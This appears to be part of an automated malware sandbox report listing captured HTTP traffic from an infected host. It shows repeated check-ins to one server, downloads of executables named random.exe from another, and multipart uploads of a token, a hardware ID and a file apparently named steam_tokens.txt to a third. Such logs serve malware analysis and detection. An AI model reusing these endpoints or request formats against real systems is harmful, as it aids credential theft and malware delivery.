Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGHCBGCBFHIIDHIJKFBHost: 85.28.47.31Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="message"ybncbhylepme------ECGHCBGCBFHIIDHIJKFB--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGIJECGDGCBKECAKFBGHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 2d 2d 0d 0a Data Ascii: ------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="file"------GDGIJECGDGCBKECAKFBG--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGIJECGDGCBKECAKFBGHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 2d 2d 0d 0a Data Ascii: ------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="file"------GDGIJECGDGCBKECAKFBG--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECBAFCAAKJDHJKFIEBGHost: 85.28.47.31Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 2d 2d 0d 0a Data Ascii: ------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="message"files------IECBAFCAAKJDHJKFIEBG--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIJKEBFBFHIJJKEHDHIHost: 85.28.47.31Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 2d 2d 0d 0a Data Ascii: ------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BFIJKEBFBFHIJJKEHDHI--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHIIJDGHCBFIECBKEGHHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 38 39 37 46 39 41 35 35 33 43 36 32 35 30 37 32 38 36 39 35 38 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="hwid"5897F9A553C62507286958------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="build"sila------BGHIIJDGHCBFIECBKEGH--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
